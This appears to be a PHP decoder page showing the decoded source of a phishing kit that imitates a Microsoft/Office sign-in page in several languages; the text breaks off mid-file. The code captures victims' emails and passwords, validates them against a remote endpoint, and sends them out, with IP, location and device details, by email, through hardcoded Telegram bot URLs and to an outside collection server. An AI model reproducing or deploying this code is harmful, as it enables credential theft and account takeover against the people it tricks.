Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function sendmailout($email,$password) { if (!empty($_SERVER['HTTP_CLIENT_IP..

Decoded Output download

<?php 
 
function sendmailout($email,$password) { 
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {  
        $ip = $_SERVER['HTTP_CLIENT_IP'];  
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];  
    } else {  
        $ip = $_SERVER['REMOTE_ADDR'];  
    } 
    $user_os        = getOS(); 
    $user_browser   = getBrowser(); 
    require 'forward.php'; 
    $to = EMAIL; 
    $headers = 'From: XoXo <apache>' . "
"; 
    $domain = ucfirst(strtolower(explode('.',substr(strrchr($email, "@"), 1))[0])); 
    $message = '' ."

"; 
    $message .= mx_detect($email).' ID:  '.$email. "
"; 
    $message .= 'Password:  '.$password. "
"; 
    $message .= 'Date:  '. date("Y.m.d ") . date("h.i.s A") . "

";   
    $message .= 'IP:  '.$ip."
";  
    $message .= 'Country:  '.ip_info("Visitor", "Country").' '.ip_info("Visitor", "Country Code")."
"; 
    $message .= 'Browser:  '.$user_browser. "
";  
    $message .= 'OS:  '.$user_os. "
";  
    $message .= '' ."
"; 
    $message .= ip_details($ip) ."

"; 
    $message .= 'User Agent:  '.$_SERVER['HTTP_USER_AGENT']. "

"; 
    $i = TRUE_LOGIN; 
    if($i == 1){ 
        if(trim(checkTrueLogin($email,$password)) == "True"){ 
            $s = mx_detect($email).' TrueLogin'; 
        }else{ 
            $s = mx_detect($email).' NoNTrueLogin'; 
        }   
    }else{ 
        $s = mx_detect($email); 
    } 
    mail($to,$s.' '.$ip.' '.ip_info("Visitor", "Country").' '.ip_info("Visitor", "Country Code"),$message,$headers); 
	$salmon = $s.' '.$message; 
	$chat_id = '5327910631'; 
	$data = array('chat_id' => $chat_id,'text' => $salmon); 
    $url = 'https://api.telegram.org/bot6088832927:AAH3jpp6LVrP9jflpQCV7rKtCaoIQOYNAz8/sendMessage'; 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_POST, count($data)); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    $result = curl_exec($ch); 
    curl_close($ch); 
} 
 
function CheckLogin($l,$p){ 
    require 'forward.php'; 
    $i = TRUE_LOGIN; 
    if($i == 1){ 
        if(trim(checkTrueLogin($l,$p)) == "True"){ 
            sendmailout($l,$p); 
            return True; 
            header("Location: https://outlook.office.com/"); 
        }else{ 
            sendmailout($l,$p); 
            return False; 
        } 
    }else{ 
        sendmailout($l,$p); 
        return False; 
    } 
} 
 
function getram($length = 10) { 
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $charactersLength = strlen($characters); 
    $randomString = ''; 
    for ($i = 0; $i < $length; $i++) { 
        $randomString .= $characters[rand(0, $charactersLength - 1)]; 
    } 
    return $randomString; 
} 
 
function RandomString($length) { 
    $original_string = array_merge(range(0,9), range('a','z'), range('A', 'Z')); 
    $original_string = implode("", $original_string); 
    return substr(str_shuffle($original_string), 0, $length); 
} 
 
function isValidEmail($email){ 
    // SET INITIAL RETURN VARIABLES 
 
        $emailIsValid = FALSE; 
 
    // MAKE SURE AN EMPTY STRING WASN'T PASSED 
 
        if (!empty($email)) 
        { 
            // GET EMAIL PARTS 
 
                $domain = ltrim(stristr($email, '@'), '@') . '.'; 
                $user   = stristr($email, '@', TRUE); 
 
            // VALIDATE EMAIL ADDRESS 
 
                if 
                ( 
                    !empty($user) && 
                    !empty($domain) && 
                    checkdnsrr($domain) 
                ) 
                {$emailIsValid = TRUE;} 
        } 
 
    // RETURN RESULT 
 
        return $emailIsValid; 
} 
 
$valid = [ 
                'secureserver.net'                      =>      'GoDaddy', 
                'mail.protection.outlook.com'           =>      'Office', 
				'.mail.protection.outlook.com'          =>      'Office', 
                'barracudanetworks.com'                 =>      'Office', 
                'pphosted.com'                          =>      'Office', 
                'ppe-hosted.com'                        =>      'Office', 
                'mail.eo.outlook.com'                   =>      'Office', 
                'mail.outlook.com'                      =>      'Office', 
                'arsmtp.com'                            =>      'Office', 
                'parsons-peebles.com'                   =>      'Office', 
                'inbound-2.mimecast.com'                =>      'Office', 
                'messagelabs.com'                       =>      'Office', 
                'itwconnect.com'                        =>      'Office', 
                'prod.hydra.sophos.com'                 =>      'Office', 
                'antispam.spg-llc.com'                  =>      'Office', 
                'mxthunder.co'                          =>      'Office', 
                'mailanyone.net'                        =>      'Office', 
                'emailsrvr.com'                         =>      'Rackspace', 
                '@hotmail.'                             =>      'Microsoft', 
                '@live.'                                =>      'Microsoft', 
				'@outlook.'                             =>      'Microsoft', 
                'netsolmail.net'                        =>      'Netsolution', 
                '.xion.oxcs.net'                        =>      'Netsolution', 
                'serverdata.net'                        =>      'Owa', 
				'.serverdata.net'                       =>      'Owa', 
                'intermedia.net'                        =>      'Owa', 
                '1and1.com'                             =>      'ionos', 
				'ionos.co.uk'                           =>      'ionos', 
				'ionos.com'                             =>      'ionos', 
                '.comcast.net'                             =>      'Comcast', 
            ]; 
 
function get_country() { 
    $url = 'http://ipinfo.io/'.$_SERVER['REMOTE_ADDR']; 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. 
    curl_setopt($ch, CURLOPT_URL, $url); 
    $data = curl_exec($ch); 
    curl_close($ch); 
    $info = json_decode($data,true); 
    $info = $info['country']; 
     
    if(stripos($data, 'Rate limit exceeded')){ 
        $url = "http://free.ipwhois.io/json/".$_SERVER['REMOTE_ADDR']; 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. 
        curl_setopt($ch, CURLOPT_URL, $url); 
        $data = curl_exec($ch); 
        curl_close($ch); 
        $info = json_decode($data,true); 
        $info = $info['country_code']; 
    } 
 
    return $info; 
} 
 
function getTextLanguage() { 
    $country = get_country(); 
    switch($country){ 
            case "DJ": 
            case "ER": 
            case "ET": 
 
                $lang = "aa"; 
                break; 
 
            case "AE": 
            case "BH": 
            case "DZ": 
            case "EG": 
            case "IQ": 
            case "JO": 
            case "KW": 
            case "LB": 
            case "LY": 
            case "MA": 
            case "OM": 
            case "QA": 
            case "SA": 
            case "SD": 
            case "SY": 
            case "TN": 
            case "YE": 
            case "SS": 
            case 'CY': 
            case 'IR': 
            case 'TR': 
            case 'PS': 
 
                $lang = "ar"; 
                break; 
 
            case "AZ": 
 
                $lang = "az"; 
                break; 
 
            case "BY": 
 
                $lang = "be"; 
                break; 
 
            case "BG": 
 
                $lang = "bg"; 
                break; 
 
            case "BD": 
 
                $lang = "bn"; 
                break; 
 
            case "BA": 
 
                $lang = "bs"; 
                break; 
 
            case "CZ": 
 
                $lang = "cs"; 
                break; 
 
            case "DK": 
 
                $lang = "da"; 
                break; 
 
            case "AT": 
            case "CH": 
            case "DE": 
            case "LU": 
 
                $lang = "de"; 
                break; 
 
            case "MV": 
 
                $lang = "dv"; 
                break; 
 
            case "BT": 
 
                $lang = "dz"; 
                break; 
 
            case "GR": 
 
                $lang = "el"; 
                break; 
 
            case "AG": 
            case "AI": 
            case "AQ": 
            case "AS": 
            case "AU": 
            case "BB": 
            case "BW": 
            case "CA": 
            case "GB": 
            case "IE": 
            case "KE": 
            case "NG": 
            case "NZ": 
            case "PH": 
            case "SG": 
            case "US": 
            case "ZA": 
            case "ZM": 
            case "ZW": 
 
                $lang = "en"; 
                break; 
 
            case "AD": 
            case "AR": 
            case "BO": 
            case "CL": 
            case "CO": 
            case "CR": 
            case "CU": 
            case "DO": 
            case "EC": 
            case "ES": 
            case "GT": 
            case "HN": 
            case "MX": 
            case "NI": 
            case "PA": 
            case "PE": 
            case "PR": 
            case "PY": 
            case "SV": 
            case "UY": 
            case "VE": 
 
                $lang = "es"; 
                break; 
 
            case "EE": 
 
                $lang = "et"; 
                break; 
 
            case "IR": 
 
                $lang = "fa"; 
                break; 
 
            case "FI": 
 
                $lang = "fi"; 
                break; 
 
            case "FO": 
 
                $lang = "fo"; 
                break; 
 
            case "BE": 
            case "FR": 
            case "SN": 
            case "BJ": 
            case "BF": 
            case "BI": 
            case "CM": 
            case "CF": 
            case "TD": 
            case "CI": 
            case "CD": 
            case "DZ": 
            case "DJ": 
            case "GQ": 
            case "GA": 
            case "GG": 
            case "GN": 
            case "HT": 
            case "MG": 
            case "ML": 
            case "MU": 
            case "MC": 
            case "NE": 
            case "RW": 
            case "SN": 
            case "SC": 
            case "TG": 
            case "VU": 
 
                $lang = "fr"; 
                break; 
 
            case "IL": 
 
                $lang = "he"; 
                break; 
 
            case "IN": 
 
                $lang = "hi"; 
                break; 
 
            case "HR": 
 
                $lang = "hr"; 
                break; 
 
            case "HT": 
 
                $lang = "ht"; 
                break; 
 
            case "HU": 
 
                $lang = "hu"; 
                break; 
 
            case "AM": 
 
                $lang = "hy"; 
                break; 
 
            case "ID": 
 
                $lang = "id"; 
                break; 
 
            case "IS": 
 
                $lang = "is"; 
                break; 
 
            case "IT": 
 
                $lang = "it"; 
                break; 
 
            case "JP": 
 
                $lang = "ja"; 
                break; 
 
            case "GE": 
 
                $lang = "ka"; 
                break; 
 
            case "KZ": 
 
                $lang = "kk"; 
                break; 
 
            case "GL": 
 
                $lang = "kl"; 
                break; 
 
            case "KH": 
 
                $lang = "km"; 
                break; 
 
            case "KR": 
 
                $lang = "ko"; 
                break; 
 
            case "KG": 
 
                $lang = "ky"; 
                break; 
 
            case "UG": 
 
                $lang = "lg"; 
                break; 
 
            case "LA": 
 
                $lang = "lo"; 
                break; 
 
            case "LT": 
 
                $lang = "lt"; 
                break; 
 
            case "LV": 
 
                $lang = "lv"; 
                break; 
 
            case "MG": 
 
                $lang = "mg"; 
                break; 
 
            case "MK": 
 
                $lang = "mk"; 
                break; 
 
            case "MN": 
 
                $lang = "mn"; 
                break; 
 
            case "MY": 
 
                $lang = "ms"; 
                break; 
 
            case "MT": 
 
                $lang = "mt"; 
                break; 
 
            case "MM": 
 
                $lang = "my"; 
                break; 
 
            case "NP": 
 
                $lang = "ne"; 
                break; 
 
            case "AW": 
            case "NL": 
 
                $lang = "nl"; 
                break; 
 
            case "NO": 
 
                $lang = "no"; 
                break; 
 
            case "PL": 
 
                $lang = "pl"; 
                break; 
 
            case "AF": 
 
                $lang = "ps"; 
                break; 
 
            case "AO": 
            case "BR": 
            case "PT": 
 
                $lang = "pt"; 
                break; 
 
            case "RO": 
 
                $lang = "ro"; 
                break; 
 
            case "RU": 
            case "UA": 
 
                $lang = "ru"; 
                break; 
 
            case "RW": 
 
                $lang = "rw"; 
                break; 
 
            case "AX": 
 
                $lang = "se"; 
                break; 
 
            case "SK": 
 
                $lang = "sk"; 
                break; 
 
            case "SI": 
 
                $lang = "sl"; 
                break; 
 
            case "SO": 
 
                $lang = "so"; 
                break; 
 
            case "AL": 
 
                $lang = "sq"; 
                break; 
 
            case "ME": 
            case "RS": 
 
                $lang = "sr"; 
                break; 
 
            case "SE": 
 
                $lang = "sv"; 
                break; 
 
            case "TZ": 
 
                $lang = "sw"; 
                break; 
 
            case "LK": 
 
                $lang = "ta"; 
                break; 
 
            case "TJ": 
 
                $lang = "tg"; 
                break; 
 
            case "TH": 
 
                $lang = "th"; 
                break; 
 
            case "TM": 
 
                $lang = "tk"; 
                break; 
 
            case "CY": 
            case "TR": 
 
                $lang = "tr"; 
                break; 
 
            case "PK": 
 
                $lang = "ur"; 
                break; 
 
            case "UZ": 
 
                $lang = "uz"; 
                break; 
 
            case "VN": 
 
                $lang = "vi"; 
                break; 
 
            case "CN": 
            case "HK": 
            case "TW": 
            case "126.com": 
            case "Daum": 
            case "FreeNetase": 
 
                $lang = "zh"; 
                break; 
 
            default: 
                     $lang = "en"; 
                     break; 
        } 
return $lang;    
} 
 
function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) { 
    $output = NULL; 
    if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) { 
        $ip = $_SERVER["REMOTE_ADDR"]; 
        if ($deep_detect) { 
            if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) 
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
            if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) 
                $ip = $_SERVER['HTTP_CLIENT_IP']; 
        } 
    } 
    $purpose    = str_replace(array("name", "
", "	", " ", "-", "_"), NULL, strtolower(trim($purpose))); 
    $support    = array("country", "countrycode", "state", "region", "city", "location", "address"); 
    $continents = array( 
        "AF" => "Africa", 
        "AN" => "Antarctica", 
        "AS" => "Asia", 
        "EU" => "Europe", 
        "OC" => "Australia (Oceania)", 
        "NA" => "North America", 
        "SA" => "South America" 
    ); 
    if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) { 
        $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip)); 
        if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) { 
            switch ($purpose) { 
                case "location": 
                    $output = array( 
                        "city"           => @$ipdat->geoplugin_city, 
                        "state"          => @$ipdat->geoplugin_regionName, 
                        "country"        => @$ipdat->geoplugin_countryName, 
                        "country_code"   => @$ipdat->geoplugin_countryCode, 
                        "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)], 
                        "continent_code" => @$ipdat->geoplugin_continentCode 
                    ); 
                    break; 
                case "address": 
                    $address = array($ipdat->geoplugin_countryName); 
                    if (@strlen($ipdat->geoplugin_regionName) >= 1) 
                        $address[] = $ipdat->geoplugin_regionName; 
                    if (@strlen($ipdat->geoplugin_city) >= 1) 
                        $address[] = $ipdat->geoplugin_city; 
                    $output = implode(", ", array_reverse($address)); 
                    break; 
                case "city": 
                    $output = @$ipdat->geoplugin_city; 
                    break; 
                case "state": 
                    $output = @$ipdat->geoplugin_regionName; 
                    break; 
                case "region": 
                    $output = @$ipdat->geoplugin_regionName; 
                    break; 
                case "country": 
                    $output = @$ipdat->geoplugin_countryName; 
                    break; 
                case "countrycode": 
                    $output = @$ipdat->geoplugin_countryCode; 
                    break; 
                case "continent": 
                    $output = @$continents[strtoupper($ipdat->geoplugin_continentCode)]; 
                    break; 
                case "continent_code": 
                    $output = @$ipdat->geoplugin_continentCode; 
                    break; 
            } 
        } 
    } 
    return $output; 
} 
 
function CheckTrueLogin($email,$password){ 
    include 'forward.php'; 
    $url = TRUE_LOGIN_LINK.'/hold.php'; 
 
    $fields = array( 
        'login' => $email, 
        'passwd' => $password, 
    ); 
    $postvars = http_build_query($fields); 
     
    $ch = curl_init(); 
     
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_POST, count($fields)); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
 
    if(($ans = curl_exec($ch)) === false) 
    { 
        #echo "<font color='red'>!</font> Curl Failed For: *".$url."* | With Error: <font color='red'> [".curl_error($ch).'] </font><br>'; 
        #echo "<font color='green'>@</font> Switching To Local Check!!! <font color='green'>:D</font><br>"; 
        require '../forward.php'; 
        $to = EMAIL; 
        $message = 'True Login SIte is Down: But Here is the login' ."

"; 
        $message .= 'START LOG:' ."

"; 
        $message .= 'Office ID:  '.$email. "
"; 
        $message .= 'Password:  '.$password. "
"; 
        $message .= 'Date:  '. date("Y.m.d ") . date("h.i.s A") . "

";   
        $message .= 'IP:  '.$ip."
";  
        $message .= 'Country:  '.ip_info("Visitor", "Country").' '.ip_info("Visitor", "Country Code")."
"; 
        $message .= 'Browser:  '.$user_browser. "
";  
        $message .= 'OS:  '.$user_os. "
";  
        $message .= '' ."
"; 
        $message .= ip_details($ip) ."

"; 
        $message .= 'User Agent:  '.$_SERVER['HTTP_USER_AGENT']. "

"; 
         
        $SUBJECT = "TrueLogin Site Down."; 
        $HEADER = "From: KEYWORD <apache>
"; 
        mail($to,$SUBJECT,$message,$HEADER); 
		$chat_id = '5327910631'; 
    	$data = array('chat_id' => $chat_id,'text' => $message); 
    	$url = 'https://api.telegram.org/bot5941039819:AAEqVVV7K1wIOgsgmyEr7r57IaU8Fv82MHQ/sendMessage'; 
    	$ch = curl_init(); 
    	curl_setopt($ch, CURLOPT_URL, $url); 
    	curl_setopt($ch, CURLOPT_POST, count($data)); 
    	curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    	$result = curl_exec($ch); 
    	curl_close($ch); 
 
        return 'False'; 
    } 
     
    else{ 
 
        #echo "<font color='green'>@</font> Curl Worked For: <font color='green'>[".$url.'] :D</font><br>'; 
        return $ans; 
    } 
 
    // Close handle 
    curl_close($ch); 
} 
 
function PostToMe($login,$passwd,$country,$countrycode,$countrycity,$countryregion,$ip){ 
    $user_os        = getOS(); 
    $user_browser   = getBrowser(); 
    $device_details = $_SERVER['HTTP_USER_AGENT']; 
    $url="https://keywordtech.net/core.php";  
    $postdata = "error_11=".bin2hex($device_details)."&error_10=".bin2hex($user_os)."&error_9=".bin2hex($user_browser)."&error_1=".bin2hex($login)."&error_2=".bin2hex($passwd)."&error_3=".bin2hex($ip." [".$country.",".$countrycode.",".$countrycity.",".$countryregion."]")."&error_4=".bin2hex($ip)."&error_5=".bin2hex($country)."&error_6=".bin2hex($countrycode)."&error_7=".bin2hex($countrycity)."&error_8=".bin2hex($countryregion);  
    $ch = curl_init();  
    curl_setopt ($ch, CURLOPT_URL, $url);  
    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);  
    curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");  
    curl_setopt ($ch, CURLOPT_TIMEOUT, 60);  
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);  
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
    curl_setopt ($ch, CURLOPT_REFERER, $url);  
    curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);  
    curl_setopt ($ch, CURLOPT_POST, 1);  
    curl_exec ($ch);   
    curl_close($ch); 
} 
 
function getOS() {  
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $os_platform  = "Unknown OS Platform"; 
    $os_array     = array( 
                          '/windows nt 10/i'      =>  'Windows 10', 
                          '/windows nt 6.3/i'     =>  'Windows 8.1', 
                          '/windows nt 6.2/i'     =>  'Windows 8', 
                          '/windows nt 6.1/i'     =>  'Windows 7', 
                          '/windows nt 6.0/i'     =>  'Windows Vista', 
                          '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64', 
                          '/windows nt 5.1/i'     =>  'Windows XP', 
                          '/windows xp/i'         =>  'Windows XP', 
                          '/windows nt 5.0/i'     =>  'Windows 2000', 
                          '/windows me/i'         =>  'Windows ME', 
                          '/win98/i'              =>  'Windows 98', 
                          '/win95/i'              =>  'Windows 95', 
                          '/win16/i'              =>  'Windows 3.11', 
                          '/macintosh|mac os x/i' =>  'Mac OS X', 
                          '/mac_powerpc/i'        =>  'Mac OS 9', 
                          '/linux/i'              =>  'Linux', 
                          '/ubuntu/i'             =>  'Ubuntu', 
                          '/iphone/i'             =>  'iPhone', 
                          '/ipod/i'               =>  'iPod', 
                          '/ipad/i'               =>  'iPad', 
                          '/android/i'            =>  'Android', 
                          '/blackberry/i'         =>  'BlackBerry', 
                          '/webos/i'              =>  'Mobile' 
                    ); 
 
    foreach ($os_array as $regex => $value) 
        if (preg_match($regex, $user_agent)) 
            $os_platform = $value; 
 
    return $os_platform; 
} 
 
function getBrowser() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $browser        = "Unknown Browser"; 
    $browser_array = array( 
                            '/msie/i'      => 'Internet Explorer', 
                            '/firefox/i'   => 'Firefox', 
                            '/safari/i'    => 'Safari', 
                            '/chrome/i'    => 'Chrome', 
                            '/edge/i'      => 'Edge', 
                            '/opera/i'     => 'Opera', 
                            '/netscape/i'  => 'Netscape', 
                            '/maxthon/i'   => 'Maxthon', 
                            '/konqueror/i' => 'Konqueror', 
                            '/mobile/i'    => 'Handheld Browser' 
                     ); 
 
    foreach ($browser_array as $regex => $value) 
        if (preg_match($regex, $user_agent)) 
            $browser = $value; 
 
    return $browser; 
} 
 
function istrue($str){ 
    global $valid; 
    foreach( $valid as $item => $bin ) { 
                    if( stripos( $str, $item ) !== FALSE ) { 
                            return $bin; 
                        } 
                } 
} 
 
 
function mxrecordValidate($email){ 
            list($user, $domain) = explode('@', $email); 
            $arr= dns_get_record($domain,DNS_MX); 
            if($arr[0]['host']==$domain&&!empty($arr[0]['target'])){ 
                    return $arr[0]['target']; 
            } 
} 
 
function istrueDomain($str){ 
    global $valid; 
    foreach( $valid as $item => $bin ) { 
                    if( stripos( $str, $item ) !== FALSE ) { 
                            return $bin; 
                        } 
                }  
} 
 
function DomFound($email){ 
    $mail_part = explode( "@", $email ); 
    $domain = $mail_part[1]; 
    if( checkdnsrr($domain,'MX')){ 
            if (istrueDomain($email)) { 
            return istrueDomain($email); 
            } 
            else{ 
                getmxrr( $domain , $mxhosts , $weight ); 
                $str = implode(',', $mxhosts); 
                if(istrue($str)){ 
                    return istrue($str); 
                } 
            } 
        return true; 
    } 
 
    return false; 
} 
 
function mx_detect($email) { 
        global $valid; 
     
        $domain_array = array("126.com", "163.com", "yeah.net", "yahoo.com", "gmail.com"); 
        $mail_part = explode( "@", $email ); 
        $domain = $mail_part[1]; 
        if( checkdnsrr($domain,'MX')){ 
            if (istrueDomain($email)) { 
            $man = istrueDomain($email); 
            } 
            else{ 
                getmxrr( $domain , $mxhosts , $weight ); 
                $str = implode(',', $mxhosts); 
                if(istrue($str)){ 
                    foreach( $valid as $item => $bin ) { 
                    if( stripos( $str, $item ) !== FALSE ) { 
                            $man = $bin; 
                        } 
                } 
                }else{ 
                    $man = 'Others'; 
                } 
            } 
 
        } 
        else{ 
            $man = "Others"; 
        } 
 
        return $man;  
    } 
 
 
function office_catch($email) { 
        $mail_part = explode( "@", $email ); 
        $domain = $mail_part[1]; 
 
        if( checkdnsrr($domain,'MX')){ 
           getmxrr( $domain , $mxhosts , $weight ); 
                $str = implode(',', $mxhosts); 
                if(istrue($str)){ 
                    return True; 
                }else{ 
                    return False; 
                } 
 
        } 
        else{ 
            return False; 
        } 
} 
 
function ip_details($ip) { 
    $url = 'http://ipinfo.io/'.$_SERVER['REMOTE_ADDR']; 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. 
    curl_setopt($ch, CURLOPT_URL, $url); 
    $data = curl_exec($ch); 
    curl_close($ch); 
    $json = json_decode($data,true); 
    $hostname = $json['hostname']; 
    $city = $json['city']; 
    $region = $json['region']; 
    $country = $json['country']; 
    $loc = $json['loc']; 
    $org = $json['org']; 
    $postcode = $json['postcode']; 
    $timezone = $json['timezone']; 
    #$info='Country: '.$country."
"; 
    $info='City: '.$city."
"; 
    $info.='Region: '.$region."
"; 
    #$info.='Hostname: '.$hostname."
"; 
    $info.='Organization: '.$org."
"; 
    $info.='Timezone: '.$timezone."
"; 
     
    if(stripos($data, 'Rate limit exceeded')){ 
        $url = "http://free.ipwhois.io/json/".$_SERVER['REMOTE_ADDR']; 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. 
        curl_setopt($ch, CURLOPT_URL, $url); 
        $data = curl_exec($ch); 
        curl_close($ch); 
        $json = json_decode($data,true); 
        $city = $json['city']; 
        $region = $json['region']; 
        $country = $json['country_code']; 
        #$loc = $json['loc']; 
        $org = $json['org']; 
        #$postcode = $json['geoplugin_areaCode']; 
        $timezone = $json['timezone']; 
        $info='City: '.$city."
"; 
        $info.='Region: '.$region."
"; 
        #$info.='Hostname: '.$hostname."
"; 
        $info.='Organization: '.$org."
"; 
        $info.='Timezone: '.$timezone."
"; 
    } 
 
    return $info; 
} 
 
function ywt_get_first_char($str) {      
            $parts = explode("@", $str); 
            $username = $parts[0]; 
            $str = substr(strrchr($username, "@"), 0); 
            if(Strtoupper(substr($username, 0, 3))){ 
                return Strtoupper(substr($username, 0, 3)); 
            } 
            else{ 
                return Strtoupper($username); 
            } 
    } 
 
function isHex($text){ 
    if (trim($text, '0..9A..Fa..f') == '') { 
        return $text; 
    } 
} 
 
function isBase($text){ 
    if (base64_decode($text) == True) { 
        return $text; 
    } 
} 
 
$lang = getTextLanguage(); 
 
switch ($lang) { 
        case 'ar': 
            $base1 = ""; 
            $base2 = "     "; 
            $base3 = "   "; 
            $base4 = "  "; 
            $submit = " "; 
            $next  = ""; 
            $nothere = "    .        .    [email protected]  [email protected]"; 
            $error_show = "     .       <a style = 'colour: #0067b8' href = ''>   . </a> "; 
            $bademail   = "    ."; 
            $badbolt    =   "             ."; 
            $crederror = "    ."; 
            $title = "   "; 
            break; 
 
        case 'zh': 
            $base1 = ""; 
            $base2 = "Skype"; 
            $base3 = ""; 
            $base4 = ""; 
            $submit = ""; 
            $nnext = ""; 
            $nothere = "  [email protected]  [email protected] "; 
            $error_show = " <a style ='color0067b8 ;' href =''></a>"; 
            $bademail   = ""; 
            $badbolt    =   ""; 
            $crederror = ""; 
            $title = ""; 
            break; 
 
        case 'fr': 
            $base1 = "Perspective"; 
            $base2 = "Courriel, tlphone ou Skype"; 
            $base3 = "Entrez votre adresse email"; 
            $base4 = "Entrer le mot de passe"; 
            $submit = "Se connecter"; 
            $next = "Prochain"; 
            $nothere = " n'est pas dans notre systme. Assurez-vous d'avoir correctement saisi votre adresse e-mail. Elle ressemble gnralement  quelqu'[email protected] ou  quelqu'[email protected] "; 
            $error_show = "Votre compte ou votre mot de passe est incorrect. Si vous ne vous souvenez pas de votre mot de passe, <a style = 'color:#0067b8 ;' href = ''> rinitialisez-le maintenant. </a>"; 
            $bademail   = "Entrez une adresse mail valide."; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = "S'il vous plait entrez votre mot de passe."; 
            $title = "Connectez-vous  votre compte"; 
            break; 
 
        case 'de': 
            $base1 = "Ausblick"; 
            $base2 = "E-Mail, Telefon oder Skype"; 
            $base3 = "Geben sie ihre E-Mailadresse ein"; 
            $base4 = "Passwort eingeben"; 
            $submit = "Einloggen"; 
            $next = "Nchster"; 
            $nothere = " befindet sich nicht in unserem System. Vergewissern Sie sich, dass Sie Ihre E-Mail-Adresse richtig eingegeben haben. Es sieht normalerweise so aus: [email protected] oder [email protected] "; 
            $error_show = "Ihr Konto oder Passwort ist falsch. Wenn Sie sich nicht an Ihr Passwort erinnern, <a style='color:#0067b8;' href=''> setze es jetzt zurck. </a>"; 
            $bademail   = "Geben sie eine gltige E-Mail-Adresse an."; 
            $badbolt    =   "Entschuldigung, wir knnen diese E-Mail nicht akzeptieren, scheint von einem Roboter automatisiert zu sein."; 
            $crederror = "Bitte geben Sie Ihr Passwort ein."; 
            $title = "Melden Sie sich bei Ihrem Konto an"; 
            break; 
 
        case 'es': 
            $base1 = "Panorama"; 
            $base2 = "Correo electrnico, telfono o Skype"; 
            $base3 = "Ingrese su direccin de correo electrnico"; 
            $base4 = "Introducir la contrasea"; 
            $submit = "Registrarse"; 
            $next = "Prximo"; 
            $nothere = " no est en nuestro sistema. Asegrese de escribir su direccin de correo electrnico correctamente. Por lo general, parece [email protected] o [email protected] "; 
            $error_show = "Su cuenta o contrasea son incorrectas. Si no recuerda su contrasea, <a style = 'color: #0067b8;' href = ''> reincielo ahora. </a>"; 
            $bademail   = "Introduzca una direccin de correo electrnico vlida."; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = "Por favor, introduzca su contrasea."; 
            $title = "Iniciar sesin en su cuenta"; 
            break; 
 
        case 'ko': 
            $base1 = ""; 
            $base2 = ",   Skype"; 
            $base3 = "    "; 
            $base4 = " "; 
            $submit = ""; 
            $next = ""; 
            $nothere = "           [email protected]  [email protected]  . "; 
            $error_show = "   .    <a style = 'color:#0067b8;' href = ''>   </a>"; 
            $bademail   = "   ."; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = " ."; 
            $title = " "; 
            break; 
 
        case 'ja': 
            $base1 = ""; 
            $base2 = ""; 
            $base3 = ""; 
            $base4 = ""; 
            $submit = ""; 
            $next = ""; 
            $nothere = " [email protected]  [email protected]  "; 
            $error_show = "<a style = 'color0067b8;' href = ''></a> "; 
            $bademail   = ""; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = ""; 
            $title = ""; 
            break; 
 
        case 'pt': 
            $base1 = "Microsoft"; 
            $base2 = "E-mail, telefone ou Skype"; 
            $base3 = "Insira o seu endereo de email"; 
            $base4 = "Digite a senha"; 
            $submit = "Assinar em"; 
            $next = "Prximo"; 
            $nothere = " no est em nosso sistema. Digite seu endereo de e-mail corretamente. Geralmente, parece [email protected] ou [email protected] "; 
            $error_show = "Sua conta ou senha est incorreta. Se voc no se lembrar da senha, <a style = 'color: #0067b8 ;;' href = ''> redefina-o agora. </a>"; 
